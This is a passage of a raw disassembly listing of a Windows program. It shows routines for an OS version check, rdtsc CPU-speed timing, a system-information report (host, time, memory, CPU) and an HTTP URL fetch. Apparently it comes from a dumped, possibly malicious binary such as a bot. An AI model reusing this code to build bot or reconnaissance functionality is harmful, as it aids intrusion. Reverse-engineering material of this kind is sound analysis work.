call near ptr 26C0578h test eax, eax jz short loc_41A987 cmp [ebp+var_90], 4 jnz short loc_41A95D cmp [ebp+var_8C], esi jnz short loc_41A945 cmp [ebp+var_84], 1 jnz short loc_41A938 push 1 pop esi loc_41A938: ; CODE XREF: sub_41A8F4+3Fj cmp [ebp+var_84], 2 jnz short loc_41A987 push 1 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A945: ; CODE XREF: sub_41A8F4+36j cmp [ebp+var_8C], 0Ah jnz short loc_41A952 loc_41A94E: ; CODE XREF: sub_41A8F4+78j push 2 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A952: ; CODE XREF: sub_41A8F4+58j cmp [ebp+var_8C], 5Ah jnz short loc_41A987 jmp short loc_41A977 ; --------------------------------------------------------------------------- loc_41A95D: ; CODE XREF: sub_41A8F4+2Ej cmp [ebp+var_90], 5 jnz short loc_41A987 cmp [ebp+var_8C], esi jz short loc_41A94E cmp [ebp+var_8C], 1 jnz short loc_41A97B loc_41A977: ; CODE XREF: sub_41A8F4+67j push 3 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A97B: ; CODE XREF: sub_41A8F4+81j cmp [ebp+var_8C], 2 jnz short loc_41A987 push 7 loc_41A986: ; CODE XREF: sub_41A8F4+4Fj ; sub_41A8F4+5Cj ... pop esi loc_41A987: ; CODE XREF: sub_41A8F4+25j ; sub_41A8F4+4Bj ... mov eax, esi pop esi leave retn sub_41A8F4 endp ; =============== S U B R O U T I N E ======================================= sub_41A98C proc near ; CODE XREF: sub_41AA42+290p push ebx push esi push edi mov esi, 0F4240h loc_41A994: ; CODE XREF: sub_41A98C+2Fj ; sub_41A98C+35j rdtsc push 3E8h mov edi, edx mov ebx, eax nop call near ptr 2670000h rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_41D410 mov edi, edx mov ebx, eax test edi, edi ja short loc_41A994 jb short loc_41A9C3 cmp ebx, esi ja short loc_41A994 loc_41A9C3: ; CODE XREF: sub_41A98C+31j push 0 push 64h push edi push ebx call sub_41D480 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AA36 jb short loc_41A9E2 cmp esi, 50h jnb short loc_41A9E7 loc_41A9E2: ; CODE XREF: sub_41A98C+4Fj push 4Bh xor edx, edx pop eax loc_41A9E7: ; CODE XREF: sub_41A98C+54j test ecx, ecx ja short loc_41AA36 jb short loc_41A9F2 cmp esi, 47h jnb short loc_41A9F7 loc_41A9F2: ; CODE XREF: sub_41A98C+5Fj push 42h xor edx, edx pop eax loc_41A9F7: ; CODE XREF: sub_41A98C+64j test ecx, ecx ja short loc_41AA36 jb short loc_41AA02 cmp esi, 37h jnb short loc_41AA07 loc_41AA02: ; CODE XREF: sub_41A98C+6Fj push 32h xor edx, edx pop eax loc_41AA07: ; CODE XREF: sub_41A98C+74j test ecx, ecx ja short loc_41AA36 jb short loc_41AA12 cmp esi, 26h jnb short loc_41AA17 loc_41AA12: ; CODE XREF: sub_41A98C+7Fj push 21h xor edx, edx pop eax loc_41AA17: ; CODE XREF: sub_41A98C+84j test ecx, ecx ja short loc_41AA36 jb short loc_41AA22 cmp esi, 1Eh jnb short loc_41AA27 loc_41AA22: ; CODE XREF: sub_41A98C+8Fj push 19h xor edx, edx pop eax loc_41AA27: ; CODE XREF: sub_41A98C+94j test ecx, ecx ja short loc_41AA36 jb short loc_41AA32 cmp esi, 0Ah jnb short loc_41AA36 loc_41AA32: ; CODE XREF: sub_41A98C+9Fj xor eax, eax xor edx, edx loc_41AA36: ; CODE XREF: sub_41A98C+4Dj ; sub_41A98C+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41A98C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA42 proc near ; CODE XREF: sub_401ACD+276Ep var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset dword_43D128 mov [ebp+var_CC], 94h nop call near ptr 26C0578h xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41AAC9 cmp [ebp+var_C4], ebx jnz short loc_41AAA5 cmp [ebp+var_BC], 1 jnz short loc_41AA8F mov [ebp+var_4], offset dword_43127C loc_41AA8F: ; CODE XREF: sub_41AA42+44j cmp [ebp+var_BC], 2 jnz loc_41AB44 mov [ebp+var_4], offset dword_431278 jmp short loc_41AB15 ; --------------------------------------------------------------------------- loc_41AAA5: ; CODE XREF: sub_41AA42+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41AAB7 mov [ebp+var_4], offset dword_431274 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAB7: ; CODE XREF: sub_41AA42+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41AB05 mov [ebp+var_4], offset dword_431270 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAC9: ; CODE XREF: sub_41AA42+33j cmp [ebp+var_C8], 5 jnz short loc_41AB05 cmp [ebp+var_C4], ebx jnz short loc_41AAE3 mov [ebp+var_4], offset dword_43126C jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAE3: ; CODE XREF: sub_41AA42+96j cmp [ebp+var_C4], 1 jnz short loc_41AAF5 mov [ebp+var_4], offset dword_431268 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAF5: ; CODE XREF: sub_41AA42+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41AB0C loc_41AB05: ; CODE XREF: sub_41AA42+7Cj ; sub_41AA42+8Ej mov [ebp+var_4], offset dword_431260 loc_41AB0C: ; CODE XREF: sub_41AA42+73j ; sub_41AA42+85j ... cmp [ebp+var_BC], 2 jnz short loc_41AB44 loc_41AB15: ; CODE XREF: sub_41AA42+61j cmp [ebp+var_B8], bl jz short loc_41AB44 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_1 ; "%s (%s)" push eax call sub_41B886 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41AB44: ; CODE XREF: sub_41AA42+54j ; sub_41AA42+D1j ... mov ax, word_437834 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4CAE54 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41AB7D lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_41AB7D: ; CODE XREF: sub_41AA42+12Cj push [ebp+arg_4] call sub_40AC0F pop ecx push eax call dword_4CAFB4 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CAF2C cmp eax, ebx jz short loc_41ABA6 push dword ptr [eax] jmp short loc_41ABAB ; --------------------------------------------------------------------------- loc_41ABA6: ; CODE XREF: sub_41AA42+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41ABAB: ; CODE XREF: sub_41AA42+162j lea eax, [ebp+var_3E4] push eax call sub_41B886 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 2660AFDh lea eax, [ebp+var_114] push 46h push eax push offset dword_43A10C push ebx mov esi, 409h push ebx push esi nop call near ptr 2720000h lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi nop call near ptr 27115FBh push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_38] push eax nop call near ptr 2830000h push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41B9D1 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41A88B add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax call sub_41A98C push edx push eax push offset dword_43A030 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AA42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ACF6 proc near ; CODE XREF: sub_401ACD+279Cp ; sub_401ACD+72F5p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41B590 add esp, 0Ch cmp dword_4CB05C, 0 jnz short loc_41AD62 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4CAE38 test eax, eax jnz short loc_41AD4B lea eax, [ebp+var_8C] push offset dword_43A194 push eax call sub_41B886 pop ecx pop ecx loc_41AD4B: ; CODE XREF: sub_41ACF6+40j test [ebp+var_C], 1 jz short loc_41AD58 push offset dword_43A18C jmp short loc_41AD5D ; --------------------------------------------------------------------------- loc_41AD58: ; CODE XREF: sub_41ACF6+59j push offset off_43A188 loc_41AD5D: ; CODE XREF: sub_41ACF6+60j lea eax, [ebp+var_8] jmp short loc_41AD7A ; --------------------------------------------------------------------------- loc_41AD62: ; CODE XREF: sub_41ACF6+28j mov esi, offset off_43A184 lea eax, [ebp+var_8] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_41AD7A: ; CODE XREF: sub_41ACF6+6Aj push eax call sub_41B886 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43A140 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41ACF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADB5 proc near ; DATA XREF: sub_401ACD+7714o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43A274 call sub_41B590 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41B590 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41B590 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41B590 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41B590 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4CAE70 test eax, eax jz loc_41AF4F cmp [ebp+var_34], ebx jbe short loc_41AE8C push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41B5F0 add esp, 0Ch loc_41AE8C: ; CODE XREF: sub_41ADB5+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41AEAA push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEAA: ; CODE XREF: sub_41ADB5+DEj cmp [ebp+var_20], ebx jbe short loc_41AEC4 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41B5F0 add esp, 0Ch loc_41AEC4: ; CODE XREF: sub_41ADB5+F8j cmp [ebp+var_18], ebx jbe short loc_41AEDE push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEDE: ; CODE XREF: sub_41ADB5+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4CAF24 call dword_4CAF48 mov esi, eax cmp esi, ebx jz short loc_41AF67 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4CAF3C cmp eax, ebx mov [ebp+var_4], eax jz short loc_41AF6E push ebx push ebx push ebx push ebx push eax call dword_4CAEE8 test eax, eax jz short loc_41AF48 push offset dword_43A258 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF48: ; CODE XREF: sub_41ADB5+18Aj push offset unk_43A21C jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF4F: ; CODE XREF: sub_41ADB5+B7j lea eax, [ebp+var_55C] push offset dword_43A200 push eax call sub_41B886 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41AF81 ; --------------------------------------------------------------------------- loc_41AF67: ; CODE XREF: sub_41ADB5+153j push offset unk_43A1D4 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF6E: ; CODE XREF: sub_41ADB5+17Bj push offset unk_43A1A4 loc_41AF73: ; CODE XREF: sub_41ADB5+191j ; sub_41ADB5+198j ... lea eax, [ebp+var_55C] push eax call sub_41B886 pop ecx pop ecx loc_41AF81: ; CODE XREF: sub_41ADB5+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41AFAC push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409A72 add esp, 14h loc_41AFAC: ; CODE XREF: sub_41ADB5+1D2j lea eax, [ebp+var_55C] push eax call sub_4151AC pop ecx push esi call dword_4CAFA8 push [ebp+var_4] call dword_4CAFA8 push [ebp+var_1D8] call sub_40B412 pop ecx push ebx nop call near ptr 26D0000h pop edi pop esi pop ebx int 3 ; Trap to Debugger sub_41ADB5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41AFE0 proc near ; CODE XREF: sub_401000+34p ; ___:0040136Ep ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B000 loc_41AFEC: ; CODE XREF: sub_41AFE0+19j mov al, [ecx] inc ecx test al, al jz short loc_41B033 test ecx, 3 jnz short loc_41AFEC add eax, 0 loc_41B000: ; CODE XREF: sub_41AFE0+Aj ; sub_41AFE0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B000 mov eax, [ecx-4] test al, al jz short loc_41B051 test ah, ah jz short loc_41B047 test eax, 0FF0000h jz short loc_41B03D test eax, 0FF000000h jz short loc_41B033 jmp short loc_41B000 ; --------------------------------------------------------------------------- loc_41B033: ; CODE XREF: sub_41AFE0+11j ; sub_41AFE0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B03D: ; CODE XREF: sub_41AFE0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B047: ; CODE XREF: sub_41AFE0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B051: ; CODE XREF: sub_41AFE0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41AFE0 endp ; =============== S U B R O U T I N E ======================================= sub_41B05B proc near ; CODE XREF: sub_4010AB+64p ; sub_401ACD+58DAp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41B070 or eax, 0FFFFFFFFh jmp short loc_41B0AA ; --------------------------------------------------------------------------- loc_41B070: ; CODE XREF: sub_41B05B+Ej test al, 83h jz short loc_41B0A8 push esi call sub_41DB8B push esi mov edi, eax call sub_41DB25 push dword ptr [esi+10h] call sub_41DA72 add esp, 0Ch test eax, eax jge short loc_41B096 or edi, 0FFFFFFFFh jmp short loc_41B0A8 ; --------------------------------------------------------------------------- loc_41B096: ; CODE XREF: sub_41B05B+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41B0A8 push eax call sub_41B0B1 and dword ptr [esi+1Ch], 0 pop ecx loc_41B0A8: ; CODE XREF: sub_41B05B+17j ; sub_41B05B+39j ... mov eax, edi loc_41B0AA: ; CODE XREF: sub_41B05B+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41B05B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0B1 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40AB31+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41B117 mov eax, dword_4DC908 cmp eax, 3 jnz short loc_41B0DD push esi call sub_41DE77 pop ecx test eax, eax push esi jz short loc_41B109 push eax call sub_41DEA2 pop ecx pop ecx jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B0DD: ; CODE XREF: sub_41B0B1+14j cmp eax, 2 jnz short loc_41B108 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_41B108 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41EC29 add esp, 0Ch jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B108: ; CODE XREF: sub_41B0B1+2Fj ; sub_41B0B1+44j push esi loc_41B109: ; CODE XREF: sub_41B0B1+20j push 0 push dword_4DC904 call near ptr 2790000h nop loc_41B117: ; CODE XREF: sub_41B0B1+Aj ; sub_41B0B1+2Aj ... pop esi leave retn sub_41B0B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B11A proc near ; CODE XREF: sub_4010AB+45p ; ___:0040F089p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41B13E xor eax, eax jmp loc_41B1E7 ; --------------------------------------------------------------------------- loc_41B13E: ; CODE XREF: sub_41B11A+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41B151 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B151: ; CODE XREF: sub_41B11A+2Dj mov [ebp+arg_C], 1000h jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B15A: ; CODE XREF: sub_41B11A+C4j mov ecx, [ebp+arg_0] loc_41B15D: ; CODE XREF: sub_41B11A+35j ; sub_41B11A+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41B18F mov eax, [esi+4] test eax, eax jz short loc_41B18F cmp ecx, eax mov edi, ecx jb short loc_41B174 mov edi, eax loc_41B174: ; CODE XREF: sub_41B11A+56j push edi push dword ptr [esi] push ebx call sub_41C310 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B18F: ; CODE XREF: sub_41B11A+49j ; sub_41B11A+50j cmp ecx, [ebp+arg_C] jb short loc_41B1C2 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41B1A5 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41B1A5: ; CODE XREF: sub_41B11A+80j push eax push ebx push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch test eax, eax jz short loc_41B1EC cmp eax, 0FFFFFFFFh jz short loc_41B1F2 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B1C2: ; CODE XREF: sub_41B11A+78j push esi call sub_41F043 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41B1F6 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41B1DA: ; CODE XREF: sub_41B11A+73j ; sub_41B11A+A6j cmp [ebp+arg_0], 0 jnz loc_41B15A mov eax, [ebp+arg_8] loc_41B1E7: ; CODE XREF: sub_41B11A+1Fj ; sub_41B11A+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41B1EC: ; CODE XREF: sub_41B11A+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41B1F6 ; --------------------------------------------------------------------------- loc_41B1F2: ; CODE XREF: sub_41B11A+9Fj or dword ptr [esi+0Ch], 20h loc_41B1F6: ; CODE XREF: sub_41B11A+B2j ; sub_41B11A+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41B1E7 sub_41B11A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B202 proc near ; CODE XREF: sub_4010AB+2Ep ; sub_41CFD3+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41B21D push [ebp+arg_4] call sub_41B4D5 pop ecx jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B21D: ; CODE XREF: sub_41B202+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41B232 push [ebp+arg_0] call sub_41B0B1 pop ecx jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B232: ; CODE XREF: sub_41B202+20j mov eax, dword_4DC908 cmp eax, 3 jnz loc_41B342 loc_41B240: ; CODE XREF: sub_41B202+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B31E push [ebp+arg_0] call sub_41DE77 mov ebx, eax pop ecx test ebx, ebx jz loc_41B2F9 cmp esi, dword_4DC900 ja short loc_41B2B2 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41E680 add esp, 0Ch test eax, eax jnz short loc_41B2AE push esi call sub_41E1CB mov edi, eax pop ecx test edi, edi jz short loc_41B2B2 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41B292 mov eax, esi loc_41B292: ; CODE XREF: sub_41B202+8Cj push eax push ebx push edi call sub_41C310 push ebx call sub_41DE77 push [ebp+arg_0] mov ebx, eax push ebx call sub_41DEA2 add esp, 18h loc_41B2AE: ; CODE XREF: sub_41B202+74j test edi, edi jnz short loc_41B2F5 loc_41B2B2: ; CODE XREF: sub_41B202+62j ; sub_41B202+81j test esi, esi jnz short loc_41B2B9 push 1 pop esi loc_41B2B9: ; CODE XREF: sub_41B202+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DC904 call near ptr 27A0000h nop mov edi, eax test edi, edi jz short loc_41B2F5 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41B2E1 mov eax, esi loc_41B2E1: ; CODE XREF: sub_41B202+DBj push eax push ecx push edi call sub_41C310 push [ebp+arg_0] push ebx call sub_41DEA2 add esp, 14h loc_41B2F5: ; CODE XREF: sub_41B202+AEj ; sub_41B202+D0j test ebx, ebx jnz short loc_41B31A loc_41B2F9: ; CODE XREF: sub_41B202+56j test esi, esi jnz short loc_41B300 push 1 pop esi loc_41B300: ; CODE XREF: sub_41B202+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DC904 call near ptr 2840000h nop mov edi, eax loc_41B31A: ; CODE XREF: sub_41B202+F5j test edi, edi jnz short loc_41B33B loc_41B31E: ; CODE XREF: sub_41B202+43j cmp dword_4DB2FC, 0 jz short loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B240 jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B33B: ; CODE XREF: sub_41B202+11Aj ; sub_41B202+123j ... mov eax, edi jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B342: ; CODE XREF: sub_41B202+38j cmp eax, 2 jnz loc_41B45D cmp esi, 0FFFFFFE0h ja short loc_41B35F test esi, esi jbe short loc_41B35C add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41B35F ; --------------------------------------------------------------------------- loc_41B35C: ; CODE XREF: sub_41B202+150j push 10h pop esi loc_41B35F: ; CODE XREF: sub_41B202+14Cj ; sub_41B202+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B43F lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41EBD2 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41B423 cmp esi, dword_43C2F4 jnb short loc_41B3E7 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EF9A add esp, 10h test eax, eax jz short loc_41B3AD mov edi, [ebp+arg_0] jmp short loc_41B3DF ; --------------------------------------------------------------------------- loc_41B3AD: ; CODE XREF: sub_41B202+1A4j push edi call sub_41EC6E mov edi, eax pop ecx test edi, edi jz short loc_41B3E7 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B3C6 mov eax, esi loc_41B3C6: ; CODE XREF: sub_41B202+1C0j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h loc_41B3DF: ; CODE XREF: sub_41B202+1A9j test edi, edi jnz loc_41B33B loc_41B3E7: ; CODE XREF: sub_41B202+18Bj ; sub_41B202+1B6j push esi push 0 push dword_4DC904 call near ptr 27A0000h nop mov edi, eax test edi, edi jz short loc_41B43F movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B408 mov eax, esi loc_41B408: ; CODE XREF: sub_41B202+202j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h jmp short loc_41B437 ; --------------------------------------------------------------------------- loc_41B423: ; CODE XREF: sub_41B202+17Fj push esi push [ebp+arg_0] push 0 push dword_4DC904 call near ptr 2840000h nop mov edi, eax loc_41B437: ; CODE XREF: sub_41B202+21Fj test edi, edi jnz loc_41B33B loc_41B43F: ; CODE XREF: sub_41B202+162j ; sub_41B202+1F8j cmp dword_4DB2FC, 0 jz loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B35F jmp short loc_41B49B ; --------------------------------------------------------------------------- loc_41B45D: ; CODE XREF: sub_41B202+143j ; sub_41B202+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41B487 test esi, esi jnz short loc_41B46B push 1 pop esi loc_41B46B: ; CODE XREF: sub_41B202+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DC904 call near ptr 2840000h nop test eax, eax jnz short loc_41B49D loc_41B487: ; CODE XREF: sub_41B202+260j cmp dword_4DB2FC, 0 jz short loc_41B49D push esi call sub_41F312 test eax, eax pop ecx jnz short loc_41B45D loc_41B49B: ; CODE XREF: sub_41B202+2Bj ; sub_41B202+134j ... xor eax, eax loc_41B49D: ; CODE XREF: sub_41B202+16j ; sub_41B202+13Bj ... pop edi pop esi pop ebx leave retn sub_41B202 endp ; =============== S U B R O U T I N E ======================================= sub_41B4A2 proc near ; CODE XREF: sub_41B4C2+Ap arg_0 = 